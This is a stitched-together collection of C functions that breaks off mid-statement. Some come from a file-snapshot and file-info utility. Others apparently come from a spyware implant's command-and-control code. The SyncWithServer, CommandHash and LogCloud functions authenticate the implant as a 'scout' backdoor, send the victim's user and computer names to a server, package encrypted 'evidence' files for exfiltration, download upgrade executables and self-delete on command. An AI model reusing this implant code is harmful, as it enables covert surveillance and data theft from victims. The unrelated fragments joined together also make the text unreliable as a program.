ULONG CommandHash(ULONG uProtoCmd, PBYTE pMessage, ULONG uMessageLen, PBYTE pEncryptionKey, PBYTE *pOutBuff) { ULONG uOut, uOutClear; PBYTE pBuffer, pOutBuffer; BYTE pSha1Digest[20]; uOutClear = sizeof(ULONG) + uMessageLen + 20; uOut = uOutClear; if (uOut % 16) uOut += 16 - (uOut % 16); else uOut += 16; // sha1(PROTO_* + version + message) pBuffer = (PBYTE)malloc(sizeof(ULONG) + uMessageLen); // FIXME: free this *(PULONG)pBuffer = uProtoCmd; if (pMessage) memcpy(pBuffer + sizeof(ULONG), pMessage, uMessageLen); CalculateSHA1(pSha1Digest, pBuffer, uMessageLen + sizeof(ULONG)); // clear-text(cmd + message + sha1) pOutBuffer = (PBYTE)malloc(uOut); // FIXME user pBuffer && realloc here *(PULONG)pOutBuffer = uProtoCmd; if (pMessage) memcpy(pOutBuffer + sizeof(ULONG), pMessage, uMessageLen); memcpy(pOutBuffer + sizeof(ULONG) + uMessageLen, pSha1Digest, 20); Encrypt(pOutBuffer, uOutClear, pEncryptionKey, PAD_PKCS5); *pOutBuff = pOutBuffer; return uOut; }
BOOL wmiexec_searchash(IWbemServices *pSvc, LPWSTR strQuery, LPWSTR strField, LPBYTE pSearchHash, LPVARIANT lpVar) { BOOL bFound = FALSE; IEnumWbemClassObject *pEnum; WCHAR strWQL[] = { L'W', L'Q', L'L', L'\0' }; BSTR bWQL = SysAllocString(strWQL); BSTR bstrQuery = SysAllocString(strQuery); BSTR bstrField = SysAllocString(strField); HRESULT hr = pSvc->lpVtbl->ExecQuery(pSvc,bWQL, bstrQuery, 0, NULL, &pEnum); if (hr == S_OK) { ULONG uRet; IWbemClassObject *apObj; while (pEnum->lpVtbl->Next(pEnum, 5000, 1, &apObj, &uRet) == S_OK) { hr = apObj->lpVtbl->Get(apObj,bstrField, 0, lpVar, NULL, NULL); if (hr != WBEM_S_NO_ERROR || lpVar->vt != VT_BSTR) continue; BYTE pSha1Buffer[20]; CalculateSHA1(pSha1Buffer, (LPBYTE)lpVar->bstrVal, 21 * sizeof(WCHAR)); if (!memcmp(pSha1Buffer, pSearchHash, 20)) bFound = TRUE; apObj->lpVtbl->Release(apObj); } pEnum->lpVtbl->Release(pEnum); } SysFreeString(bstrQuery); SysFreeString(bstrField); SysFreeString(bWQL); return bFound; }
// ---------------------------------------------------------------------- // Get file snap shot // ---------------------------------------------------------------------- VOID GetFilesSnap(LPSNAPSHOT lpShot, LPTSTR lpszFullName, LPFILECONTENT lpFatherFC, LPFILECONTENT *lplpCaller) { LPFILECONTENT lpFC; HANDLE hFile; BOOL calculateHash = TRUE; BOOL found = FALSE; // Full dir/file name is already given // Extra local block to reduce stack usage due to recursive calls { LPTSTR lpszFindFileName; lpszFindFileName = NULL; // Get father file data if not already provided (=called from FileShot) // lpFatherFC only equals "C:\" and is called once at start if (NULL == lpFatherFC) { // Check if file is to be GENERIC excluded if ((NULL == lpszFullName) || (((TCHAR)'.' == lpszFullName[0]) // fast exclusion for 99% of the cases && ((0 == _tcscmp(lpszFullName, TEXT("."))) || (0 == _tcscmp(lpszFullName, TEXT("..")))))) { return; } // Create new file content lpFatherFC = MYALLOC0(sizeof(FILECONTENT)); // Set file name length lpFatherFC->cchFileName = _tcslen(lpszFullName); // Copy file name to new buffer for directory search and more lpszFindFileName = MYALLOC((lpFatherFC->cchFileName + 4 + 1) * sizeof(TCHAR)); // +4 for "\*.*" search when directory (later in routine) _tcscpy(lpszFindFileName, lpszFullName); // Special case if root dir of a drive was specified, needs trailing backslash otherwise current dir of that drive is used if ((TCHAR)':' == lpszFindFileName[lpFatherFC->cchFileName - 1]) { lpszFindFileName[lpFatherFC->cchFileName] = (TCHAR)'\\'; lpszFindFileName[lpFatherFC->cchFileName + 1] = (TCHAR)'\0'; } //printf("lpszFullName: %ws\n", lpszFullName); //printf("lpszFindFileName: %ws\n", lpszFindFileName); hFile = FindFirstFile(lpszFullName, &FindData); if (INVALID_HANDLE_VALUE != hFile) { FindClose(hFile); } else { // Workaround for some cases in Windows Vista and later ZeroMemory(&FindData, sizeof(FindData)); hFile = CreateFile(lpszFullName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); if (INVALID_HANDLE_VALUE != hFile) { BY_HANDLE_FILE_INFORMATION FileInformation; BOOL bResult; bResult = GetFileInformationByHandle(hFile, &FileInformation); if (bResult) { FindData.dwFileAttributes = FileInformation.dwFileAttributes; FindData.ftCreationTime = FileInformation.ftCreationTime; FindData.ftLastAccessTime = FileInformation.ftLastAccessTime; FindData.ftLastWriteTime = FileInformation.ftLastWriteTime; FindData.nFileSizeHigh = FileInformation.nFileSizeHigh; FindData.nFileSizeLow = FileInformation.nFileSizeLow; } else { FindData.dwFileAttributes = GetFileAttributes(lpszFullName); if (INVALID_FILE_ATTRIBUTES == FindData.dwFileAttributes) { FindData.dwFileAttributes = 0; } bResult = GetFileTime(hFile, &FindData.ftCreationTime, &FindData.ftLastAccessTime, &FindData.ftLastWriteTime); if (!bResult) { FindData.ftCreationTime.dwLowDateTime = 0; FindData.ftCreationTime.dwHighDateTime = 0; FindData.ftLastAccessTime.dwLowDateTime = 0; FindData.ftLastAccessTime.dwHighDateTime = 0; FindData.ftLastWriteTime.dwLowDateTime = 0; FindData.ftLastWriteTime.dwHighDateTime = 0; } FindData.nFileSizeLow = GetFileSize(hFile, &FindData.nFileSizeHigh); if (INVALID_FILE_SIZE == FindData.nFileSizeLow) { FindData.nFileSizeHigh = 0; FindData.nFileSizeLow = 0; } } CloseHandle(hFile); } } // Remove previously added backslash (if any) lpszFindFileName[lpFatherFC->cchFileName] = (TCHAR)'\0'; // Copy pointer to current file into caller's pointer if (NULL != lplpCaller) { *lplpCaller = lpFatherFC; } // Increase dir/file count if (ISFILE(FindData.dwFileAttributes)) { lpShot->stCounts.cFiles++; } else { lpShot->stCounts.cDirs++; } // Copy file name lpFatherFC->lpszFileName = MYALLOC((lpFatherFC->cchFileName + 1) * sizeof(TCHAR)); _tcscpy(lpFatherFC->lpszFileName, lpszFullName); // Copy file data lpFatherFC->nWriteDateTimeLow = FindData.ftLastWriteTime.dwLowDateTime; lpFatherFC->nWriteDateTimeHigh = FindData.ftLastWriteTime.dwHighDateTime; lpFatherFC->nAccessDateTimeLow = FindData.ftLastWriteTime.dwLowDateTime; lpFatherFC->nAccessDateTimeHigh = FindData.ftLastWriteTime.dwHighDateTime; lpFatherFC->nFileSizeLow = FindData.nFileSizeLow; lpFatherFC->nFileSizeHigh = FindData.nFileSizeHigh; lpFatherFC->nFileAttributes = FindData.dwFileAttributes; // Set "lpFirstSubFC" pointer for storing the first child's pointer lplpCaller = &lpFatherFC->lpFirstSubFC; } // If father is a file, then leave (=special case when called from FileShot) if (ISFILE(lpFatherFC->nFileAttributes)) { if (NULL != lpszFindFileName) { MYFREE(lpszFindFileName); } return; } // Process all entries of directory // a) Create search pattern and start search if (NULL == lpszFindFileName) { lpszFindFileName = lpszFullName; } _tcscat(lpszFindFileName, TEXT("\\*.*")); hFile = FindFirstFile(lpszFindFileName, &FindData); if (lpszFindFileName != lpszFullName) { MYFREE(lpszFindFileName); } } // End of extra local block if (INVALID_HANDLE_VALUE == hFile) { // error: nothing in dir, no access, etc. //printf(">>> ERROR: fileshot.c: getFileSnap: INVALID_HANDLE_VALUE: %ws\n", lpszFullName); return; } // b) process entry then find next do { lpszFullName = NULL; //BOOL calculateHash = TRUE; //BOOL found = FALSE; // Check if file is to be GENERIC excluded (dot dirs) if ((NULL == FindData.cFileName) || (((TCHAR)'.' == FindData.cFileName[0]) // fast exclusion for 99% of the cases && ((0 == _tcscmp(FindData.cFileName, TEXT("."))) || (0 == _tcscmp(FindData.cFileName, TEXT("..")))))) { continue; // ignore this entry and continue with next file } // Create new file content lpFC = MYALLOC0(sizeof(FILECONTENT)); // Set father of current key lpFC->lpFatherFC = lpFatherFC; // Set file name length lpFC->cchFileName = _tcslen(FindData.cFileName); // Allocate memory copy file name to FILECONTENT lpFC->lpszFileName = MYALLOC0((lpFC->cchFileName + 1) * sizeof(TCHAR)); _tcscpy(lpFC->lpszFileName, FindData.cFileName); // Static blacklist for directories if (ISDIR(FindData.dwFileAttributes)) { if (performStaticBlacklisting) { LPTSTR lpszFullPath; lpszFullPath = GetWholeFileName(lpFC, 4); found = TrieSearchPath(blacklistDIRS->children, lpszFullPath); if (found) { lpShot->stCounts.cFilesBlacklist++; MYFREE(lpszFullPath); FreeAllFileContents(lpFC); // Increase value count for display purposes lpShot->stCounts.cDirsBlacklist++; // Ignore this entry and continue with next brother value continue; } else { MYFREE(lpszFullPath); } } } // Check if the file system entry is a symbolic link // If so, skip as it actually resides somewhere else on the file system! if (ISSYM(FindData.dwFileAttributes)) { if (ISFILE(FindData.dwFileAttributes)) { lpShot->stCounts.cFilesBlacklist++; } else { lpShot->stCounts.cDirsBlacklist++; } continue; } // Blacklisting implementation for files if (ISFILE(FindData.dwFileAttributes)) { if (dwBlacklist == 1) { // First snapshot, therefore populate the Trie (Prefix Tree) // Get the full file path LPTSTR lpszFullPath; lpszFullPath = GetWholeFileName(lpFC, 4); // Add full path to file blacklist prefix tree, then free path TrieAdd(&blacklistFILES, lpszFullPath); MYFREE(lpszFullPath); // Increase value count for display purposes lpShot->stCounts.cFiles++; // Ignore this entry and continue with next brother value //continue; } else if (dwBlacklist == 2) { // Not the first snapshot, so either: // 1) If blacklisting enabled: Ignore file if its in the blacklist // 2) If hashing enabled (and not blacklisting): Mark file as not to be hashed LPTSTR lpszFullPath; lpszFullPath = GetWholeFileName(lpFC, 4); found = TrieSearchPath(blacklistFILES->children, lpszFullPath); if (found) { if (performDynamicBlacklisting) { MYFREE(lpszFullPath); FreeAllFileContents(lpFC); // Increase value count for display purposes lpShot->stCounts.cFilesBlacklist++; // Ignore this entry and continue with next brother value continue; } if (performSHA1Hashing || performMD5Hashing) { lpShot->stCounts.cFiles++; MYFREE(lpszFullPath); calculateHash = FALSE; } } else { MYFREE(lpszFullPath); } } } // Copy pointer to current file into caller's pointer if (NULL != lplpCaller) { *lplpCaller = lpFC; } // Increase dir/file count if (ISFILE(FindData.dwFileAttributes)) { lpShot->stCounts.cFiles++; } else { lpShot->stCounts.cDirs++; } // Copy file data lpFC->nWriteDateTimeLow = FindData.ftLastWriteTime.dwLowDateTime; lpFC->nWriteDateTimeHigh = FindData.ftLastWriteTime.dwHighDateTime; lpFC->nAccessDateTimeLow = FindData.ftLastWriteTime.dwLowDateTime; lpFC->nAccessDateTimeHigh = FindData.ftLastWriteTime.dwHighDateTime; lpFC->nFileSizeLow = FindData.nFileSizeLow; lpFC->nFileSizeHigh = FindData.nFileSizeHigh; lpFC->nFileAttributes = FindData.dwFileAttributes; // Calculate file hash (computationally intensive!) // This should only be executed in the following scenarios: // 1) If the file system entry is a data file // 2) If the data file is not blacklisted (previously known) if (ISFILE(FindData.dwFileAttributes)) { if (dwBlacklist == 2 && calculateHash) { if (performSHA1Hashing) { lpFC->cchSHA1 = 40; lpFC->lpszSHA1 = MYALLOC((lpFC->cchSHA1 + 1) * sizeof(TCHAR)); _tcscpy(lpFC->lpszSHA1, CalculateSHA1(GetWholeFileName(lpFC, 4))); } if (performMD5Hashing) { lpFC->cchMD5 = 32; lpFC->lpszMD5 = MYALLOC((lpFC->cchMD5 + 1) * sizeof(TCHAR)); _tcscpy(lpFC->lpszMD5, CalculateMD5(GetWholeFileName(lpFC, 4))); } if (performMD5BlockHashing) { LPMD5BLOCK theMD5Block = CalculateMD5Blocks(GetWholeFileName(lpFC, 4), dwHashBlockSize); lpFC->lpMD5Block = MYALLOC0(sizeof(MD5BLOCK)); lpFC->lpMD5Block = theMD5Block; } } } // Print file system shot status if ((dwBlacklist == 2 && performDynamicBlacklisting) || (performStaticBlacklisting)) { printf(" > Dirs: %d Files: %d Blacklisted Dirs: %d Blacklisted Files: %d\r", lpShot->stCounts.cDirs, lpShot->stCounts.cFiles, lpShot->stCounts.cDirsBlacklist, lpShot->stCounts.cFilesBlacklist); } else { printf(" > Dirs: %d Files: %d\r", lpShot->stCounts.cDirs, lpShot->stCounts.cFiles); } // ATTENTION!!! FindData will be INVALID from this point on, due to recursive calls // If the entry is a directory, then do a recursive call for it // Pass this entry as father and "lpFirstSubFC" pointer for storing the first child's pointer if (ISDIR(lpFC->nFileAttributes)) { if (NULL == lpszFullName) { lpszFullName = GetWholeFileName(lpFC, 4); // +4 for "\*.*" search (in recursive call) } GetFilesSnap(lpShot, lpszFullName, lpFC, &lpFC->lpFirstSubFC); } if (NULL != lpszFullName) { MYFREE(lpszFullName); } // Set "lpBrotherFC" pointer for storing the next brother's pointer lplpCaller = &lpFC->lpBrotherFC; } while (FindNextFile(hFile, &FindData)); FindClose(hFile); }
// Populate file info for the specified file in the caller specified memory location BOOL CreateFileInfo(_In_ PCWSTR pszFullpathToFile, _In_ BOOL fComputeHash, _In_ PFILEINFO pFileInfo) { SB_ASSERT(pszFullpathToFile); SB_ASSERT(pFileInfo); ZeroMemory(pFileInfo, sizeof(*pFileInfo)); // Copy file/dir name over to the FILEINFO struct PCWSTR pszFilename = CHL_SzGetFilenameFromPath(pszFullpathToFile, wcslen(pszFullpathToFile)); int nCharsInRoot = 0; for (const WCHAR* pch = pszFullpathToFile; pch != pszFilename; ++pch, ++nCharsInRoot) ; // Copy folder path first (we've calculate the length to copy) wcsncpy_s(pFileInfo->szPath, ARRAYSIZE(pFileInfo->szPath), pszFullpathToFile, nCharsInRoot); // Now copy the filename wcscpy_s(pFileInfo->szFilename, ARRAYSIZE(pFileInfo->szFilename), pszFilename); // Check if file is a directory // TODO: To extend this limit to 32,767 wide characters, // call the Unicode version of the function and prepend "\\?\" to the path WIN32_FILE_ATTRIBUTE_DATA fileAttr; if (!GetFileAttributesEx(pszFullpathToFile, GetFileExInfoStandard, &fileAttr)) { logerr(L"Unable to get attributes of file: %s", pszFullpathToFile); goto error_return; } // Store FILETIME in fileinfo for easy comparison in sorting the listview rows CopyMemory(&pFileInfo->ftModifiedTime, &fileAttr.ftLastWriteTime, sizeof(pFileInfo->ftModifiedTime)); // Convert filetime to localtime and store in fileinfo SYSTEMTIME stUTC; FileTimeToSystemTime(&pFileInfo->ftModifiedTime, &stUTC); SystemTimeToTzSpecificLocalTime(NULL, &stUTC, &pFileInfo->stModifiedTime); if (fileAttr.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { pFileInfo->fIsDirectory = TRUE; } else { pFileInfo->llFilesize.HighPart = fileAttr.nFileSizeHigh; pFileInfo->llFilesize.LowPart = fileAttr.nFileSizeLow; if (fComputeHash) { // Generate hash. Open file handle first... HANDLE hFile = CreateFileW(pszFullpathToFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { logerr(L"Failed to open file %s", pszFullpathToFile); goto error_return; } HRESULT hr = CalculateSHA1(g_hCrypt, hFile, pFileInfo->abHash); CloseHandle(hFile); if (FAILED(hr)) { logerr(L"Failed to compute hash (0x%08x) for file: %s", hr, pszFullpathToFile); goto error_return; } } } return TRUE; error_return: return FALSE; }
//copy the evidence packet and hash it so when the evidence is sent, no new buffer must be allocated again. BOOL LogCloud_CryptCopyBuffer_Hash(PGD_FILE pCloudFile, DWORD agent_tag) { pFileAdditionalData pAdditionalData=NULL; LPBYTE pBuf=NULL, pcHeaderData=NULL, pcEncHeader=NULL, pcPayload=NULL; DWORD dwHeaderLen=0, dwPayloadSize=0, dwPacketSize=0, dwCmdSize=0, dwAlignedCmdSize=0; //check the buffer for available size if(LogCloud_IsBufferFull(pCloudFile->dwFileSize)) { return LC_E_BUFFER_FULL; } dwPayloadSize = pCloudFile->dwFileSize; //encrypt the file buffer pcPayload = LogCloud_EncryptPayload(pCloudFile->pcFileBuf, &dwPayloadSize, CRYPT_COPY_BUF_LEN); if(pcPayload == NULL) return LC_E_GENERIC; znfree(&pCloudFile->pcFileBuf); //create the header to write in the file buffer pcHeaderData = (LPBYTE)malloc(sizeof(FileAdditionalData) + wcslen(pCloudFile->pwszFileName) * sizeof(WCHAR)); if(pcHeaderData == NULL) { znfree(&pcPayload); return LC_E_ALLOC; } //create the log header pAdditionalData = (pFileAdditionalData)pcHeaderData; pAdditionalData->uVersion = LOG_FILE_VERSION; pAdditionalData->uFileNameLen = wcslen(pCloudFile->pwszFileName) * sizeof(WCHAR); //copy the struct info to the header buffer memcpy(pAdditionalData+1, pCloudFile->pwszFileName, pAdditionalData->uFileNameLen); //create the log header (size + hostname + username + additional data) all encrypted but the first DWORD pcEncHeader = CreateLogHeader(agent_tag, pcHeaderData, pAdditionalData->uFileNameLen + sizeof(FileAdditionalData), &dwHeaderLen); znfree(&pcHeaderData); if(pcEncHeader == NULL) { znfree(&pcPayload); return LC_E_GENERIC; } //size of the packet dwPacketSize = sizeof(DWORD) + dwHeaderLen + dwPayloadSize; //size of the evidence packet dwCmdSize = sizeof(DWORD) + dwPacketSize + 20; //size of the hashed cmd to send to server //align the size dwAlignedCmdSize = dwCmdSize; if(dwAlignedCmdSize % 16) dwAlignedCmdSize += 16 - (dwAlignedCmdSize % 16); else dwAlignedCmdSize += 16; //generate the packet LPBYTE pcPacket=NULL, pTmp=NULL; pcPacket = (LPBYTE)zalloc(dwAlignedCmdSize); if(pcPacket == NULL) { znfree(&pcPayload); znfree(&pcEncHeader); return LC_E_GENERIC; } pTmp = pcPacket; //command *(LPDWORD)pTmp = (DWORD)PROTO_EVIDENCE; pTmp += sizeof(DWORD); //packet size *(LPDWORD)pTmp = (DWORD)dwPacketSize; pTmp += sizeof(DWORD); //header memcpy(pTmp, pcEncHeader, dwHeaderLen); znfree(&pcEncHeader); pTmp += dwHeaderLen; //payload memcpy(pTmp, pcPayload, dwPayloadSize); znfree(&pcPayload); pTmp += dwPayloadSize; //hash the packet BYTE pSha1Digest[20]; CalculateSHA1(pSha1Digest, pcPacket, dwCmdSize-20); memcpy(pTmp, pSha1Digest, 20); #ifdef _DEBUG OutputDebugString(L"\r\n[LOG] Logging cloud file\r\n"); OutputDebugString(pCloudFile->pwszFileName); OutputDebugString(L"\r\n"); #endif //queue the log with the cmd size and not the aligned size //because the SendEvidence_Encrypt have to encrypt the buffer content with that size. //The encryption cannot be done here because the session key is different for every sync return LogCloud_QueueLog(agent_tag, pcPacket, dwCmdSize); }
BOOL SyncWithServer() { PBYTE pRandomData, pProtoMessage, pInstanceId, pCryptedBuffer; ULONG uGonnaDie, uGonnaUpdate; BYTE pHashBuffer[20]; BOOL bRetVal = FALSE; uGonnaDie = uGonnaUpdate = 0; memcpy(pServerKey, CLIENT_KEY, 32); memcpy(pConfKey, ENCRYPTION_KEY_CONF, 32); #ifdef _DEBUG_BINPATCH MD5((PBYTE)CLIENT_KEY, 32, pServerKey); MD5((PBYTE)ENCRYPTION_KEY_CONF, 32, pConfKey); #endif pRandomData = (PBYTE)malloc(16); GenerateRandomData(pRandomData, 16); PBYTE pBuffer = (PBYTE)malloc(32); memcpy(pBuffer, pConfKey, 16); memcpy(pBuffer + 16, pRandomData, 16); CalculateSHA1(pHashBuffer, pBuffer, 32); free(pBuffer); pInstanceId = (PBYTE)malloc(20); GetUserUniqueHash(pInstanceId, 20); // proto_v + rand + sha1(conf_key + rand) + bdoor_id(padded) + instance_id + subtype + randpool (FIXME) ULONG uRandPoolLen = GetRandomInt(128, 1024); ULONG uCryptBufferLen = Align(sizeof(ULONG) + 16 + 20 + strlen(BACKDOOR_ID) + 2 + 20 + sizeof(ULONG), 16); ULONG uMessageLen = uCryptBufferLen + uRandPoolLen; pProtoMessage = (PBYTE)malloc(uMessageLen); PBYTE pMessageBuffer = pProtoMessage; // proto version *(PULONG)pMessageBuffer = 0x1; pMessageBuffer += sizeof(ULONG); // kd memcpy(pMessageBuffer, pRandomData, 16); pMessageBuffer += 16; // sha1(conf_key + kd) memcpy(pMessageBuffer, pHashBuffer, 20); pMessageBuffer += 20; // backdoor_id memcpy(pMessageBuffer, BACKDOOR_ID, strlen(BACKDOOR_ID) + 2); pMessageBuffer += strlen(BACKDOOR_ID); memcpy(pMessageBuffer, "\x00\x00", 0x2); // 16 byte padding (id is 14byte fixed len) pMessageBuffer += 0x2; // instance id memcpy(pMessageBuffer, pInstanceId, 20); pMessageBuffer += 20; // subtype pMessageBuffer[0] = 0x0; // ARCH: windows /* determine whether it's a demo scout or not : - cautiously set demo to 0 (i.e. release) - if stars align properly set to demo */ pMessageBuffer[1] = 0x0; // TYPE: release SHA1Context sha; SHA1Reset(&sha); SHA1Input(&sha, (PBYTE)DEMO_TAG, (DWORD)(strlen(DEMO_TAG)+1)); if (SHA1Result(&sha)) { /* sha1 of string Pg-WaVyPzMMMMmGbhP6qAigT, used for demo tag comparison while avoiding being binpatch'd */ unsigned nDemoTag[5]; nDemoTag[0] = 1575563797; nDemoTag[1] = 2264195072; nDemoTag[2] = 3570558757; nDemoTag[3] = 2213518012; nDemoTag[4] = 971935466; if( nDemoTag[0] == sha.Message_Digest[0] && nDemoTag[1] == sha.Message_Digest[1] && nDemoTag[2] == sha.Message_Digest[2] && nDemoTag[3] == sha.Message_Digest[3] && nDemoTag[4] == sha.Message_Digest[4] ) { pMessageBuffer[1] = 0x1; } } pMessageBuffer[2] = 0x1; // STAGE: scout pMessageBuffer[3] = 0x0; // FLAG: reserved // encrypt Encrypt(pProtoMessage, uCryptBufferLen, pServerKey, PAD_NOPAD); // append random block GenerateRandomData(pProtoMessage + uCryptBufferLen, uRandPoolLen); // base64 everything PBYTE pBase64Message = (PBYTE)base64_encode(pProtoMessage, uMessageLen); // send request ULONG uResponseLen; ULONG uRet = WinHTTPSendData(pBase64Message, strlen((char *)pBase64Message)); free(pBase64Message); if (!uRet) { free(pRandomData); free(pInstanceId); free(pProtoMessage); #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPSendData FAIL @ proto.cpp:234\n"); #endif return FALSE; } // get response PBYTE pHttpResponseBufferB64 = WinHTTPGetResponse(&uResponseLen); if (!pHttpResponseBufferB64) { #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:244\n"); #endif return FALSE; } // base64 ULONG uOut; PBYTE pProtoResponse = base64_decode((char *)pHttpResponseBufferB64, uResponseLen, (int *)&uOut); free(pHttpResponseBufferB64); if (uOut < sizeof(PROTO_RESPONSE_AUTH)) return FALSE; // FIXME free // decrypt Decrypt(pProtoResponse, uOut, pConfKey); // fill packet PROTO_RESPONSE_AUTH pProtoResponseId; memcpy(&pProtoResponseId, pProtoResponse, sizeof(PROTO_RESPONSE_AUTH)); free(pProtoResponse); // first sha1 pBuffer = (PBYTE)malloc(16 + sizeof(pProtoResponseId.pRandomData) + 16); memcpy(pBuffer, pConfKey, 16); memcpy(pBuffer + 16, pProtoResponseId.pRandomData, sizeof(pProtoResponseId.pRandomData)); memcpy(pBuffer + 16 + sizeof(pProtoResponseId.pRandomData), pRandomData, 16); CalculateSHA1(pHashBuffer, pBuffer, 16 + sizeof(pProtoResponseId.pRandomData) + 16); free(pBuffer); PBYTE pFirstSha1Digest = (PBYTE)malloc(20); memcpy(pFirstSha1Digest, pHashBuffer, 20); // second sha1 pBuffer = (PBYTE)malloc(20 + 16); memcpy(pBuffer, pFirstSha1Digest, 20); memcpy(pBuffer + 20, pProtoResponseId.pRandomData, sizeof(pProtoResponseId.pRandomData)); CalculateSHA1(pHashBuffer, pBuffer, 20 + sizeof(pProtoResponseId.pRandomData)); free(pBuffer); free(pFirstSha1Digest); if (memcmp(pHashBuffer, pProtoResponseId.pSha1Digest, 20)) { #ifdef _DEBUG OutputDebugString(L"[!!] Ouch SHA1 does not match !!!\n"); #endif return FALSE; } // AUTH DONE \o/ #ifdef _DEBUG OutputDebugString(L"[+] PROTO_AUTH succeded !!\n"); #endif // session key sha1(conf_key + ks + kd) pBuffer = (PBYTE)malloc(48); memcpy(pBuffer, pConfKey, 16); memcpy(pBuffer + 16, pProtoResponseId.pRandomData, 16); memcpy(pBuffer + 16 + 16, pRandomData, 16); CalculateSHA1(pSessionKey, pBuffer, 48); free(pBuffer); if (pProtoResponseId.uProtoCommand != PROTO_OK && pProtoResponseId.uProtoCommand != PROTO_NO && pProtoResponseId.uProtoCommand != PROTO_UNINSTALL) { #ifdef _DEBUG PWCHAR pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR)); swprintf_s(pDebugString, 1024, L"[!!] Invalid PROTO command %08x", pProtoResponseId.uProtoCommand); OutputDebugString(pDebugString); free(pDebugString); #endif return FALSE; } if (pProtoResponseId.uProtoCommand == PROTO_NO) { #ifdef _DEBUG OutputDebugString(L"[!!] Got PROTO_NO\n"); #endif return FALSE; } else if (pProtoResponseId.uProtoCommand == PROTO_UNINSTALL) { #ifdef _DEBUG OutputDebugString(L"[+] Got PROTO_UNINSTALL, I'm gonna die :(\n"); #endif if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_BYE, NULL, 0, pSessionKey, &pCryptedBuffer))) free(pCryptedBuffer); WinHTTPClose(); DeleteAndDie(TRUE); } // send ID ULONG uStringLong = 32767 * sizeof(WCHAR); PWCHAR pUserName = (PWCHAR)malloc(uStringLong); PWCHAR pComputerName = (PWCHAR)malloc(uStringLong); WCHAR strUser[] = { L'U', L'S', L'E', L'R', L'N', L'A', L'M', L'E', L'\0' }; WCHAR strComputer[] = { L'C', L'O', L'M', L'P', L'U', L'T', L'E', L'R', L'N', L'A', L'M', L'E', L'\0' }; if (!GetEnvironmentVariable(strUser, pUserName, uStringLong)) pUserName[0] = L'\0'; if (!GetEnvironmentVariable(strComputer, pComputerName, uStringLong)) pComputerName[0] = L'\0'; // Prepare ID buffer ULONG uUserLen, uComputerLen, uSourceLen = 0; PBYTE pUserNamePascal = PascalizeString(pUserName, &uUserLen); PBYTE pComputerNamePascal = PascalizeString(pComputerName, &uComputerLen); PBYTE pSourceIdPascal = PascalizeString(L"", &uSourceLen); free(pUserName); free(pComputerName); ULONG uBuffLen = sizeof(ULONG) + uUserLen + uComputerLen + uSourceLen; pBuffer = (PBYTE)malloc(uBuffLen); *(PULONG)pBuffer = BUILD_VERSION; memcpy(pBuffer + sizeof(ULONG), pUserNamePascal, uUserLen); memcpy(pBuffer + sizeof(ULONG) + uUserLen, pComputerNamePascal, uComputerLen); memcpy(pBuffer + sizeof(ULONG) + uUserLen + uComputerLen, pSourceIdPascal, uSourceLen); free(pUserNamePascal); free(pComputerNamePascal); free(pSourceIdPascal); // Send ID if (!WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_ID, pBuffer, uBuffLen, pSessionKey, &pCryptedBuffer))) { #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPSendData @ proto.cpp:381\n"); #endif free(pBuffer); return FALSE; } free(pCryptedBuffer); free(pBuffer); // Get reponse PBYTE pHttpResponseBuffer = WinHTTPGetResponse(&uResponseLen); if (!pHttpResponseBuffer || uResponseLen < sizeof(PROTO_RESPONSE_ID)) { #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:387\n"); #endif if (pHttpResponseBuffer) free(pHttpResponseBuffer); return FALSE; } // decrypt it Decrypt(pHttpResponseBuffer, uResponseLen, pSessionKey); PPROTO_RESPONSE_ID pResponseId = (PPROTO_RESPONSE_ID)pHttpResponseBuffer; #ifdef _DEBUG PWCHAR pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR)); swprintf_s(pDebugString, 1024, L"[+] Got PROTO_ID PROTO - uProtoCommand: %08x, uMessageLen: %08x, uAvailables: %d\n", pResponseId->uProtoCommand, pResponseId->uMessageLen, pResponseId->uAvailables); OutputDebugString(pDebugString); free(pDebugString); #endif // parse availables if (pResponseId->uAvailables) { PULONG pAvailables = (&pResponseId->uAvailables) + 1; for (ULONG i=0; i<pResponseId->uAvailables; i++) { #ifdef _DEBUG pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR)); swprintf_s(pDebugString, 1024, L" - Available %08x\n", pAvailables[i]); OutputDebugString(pDebugString); free(pDebugString); #endif // AVAILABLE STUFF HERE THERE AND EVERYWHERE if (pAvailables[i] == PROTO_UPGRADE) { #ifdef _DEBUG pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR)); swprintf_s(pDebugString, 1024, L"[+] Got PROTO_UPGRADE, requesting executables\n"); OutputDebugString(pDebugString); free(pDebugString); #endif if (!WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_UPGRADE, NULL, 0, pSessionKey, &pCryptedBuffer))) { #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPSendData FAIL @proto.cpp:435\n"); #endif return FALSE; } free(pCryptedBuffer); PBYTE pHttpUpgradeBuffer = WinHTTPGetResponse(&uResponseLen); if (!pHttpUpgradeBuffer || uResponseLen < sizeof(PROTO_RESPONSE_UPGRADE)) { #ifdef _DEBUG OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:433\n"); #endif if (pHttpUpgradeBuffer) free(pHttpUpgradeBuffer); return FALSE; // FIXME FREE } #ifdef _DEBUG OutputDebugString(L"[*] Got Upgrade\n"); #endif Decrypt(pHttpUpgradeBuffer, uResponseLen, pSessionKey); PPROTO_RESPONSE_UPGRADE pProtoUpgrade = (PPROTO_RESPONSE_UPGRADE)pHttpUpgradeBuffer; PWCHAR pUpgradeName = (PWCHAR)malloc(pProtoUpgrade->uUpgradeNameLen + sizeof(WCHAR)); if (!pUpgradeName) { #ifdef _DEBUG OutputDebugString(L"[!!] pUpgradeName fail\n"); #endif free(pHttpUpgradeBuffer); return FALSE; // FIXME FREE } SecureZeroMemory(pUpgradeName, 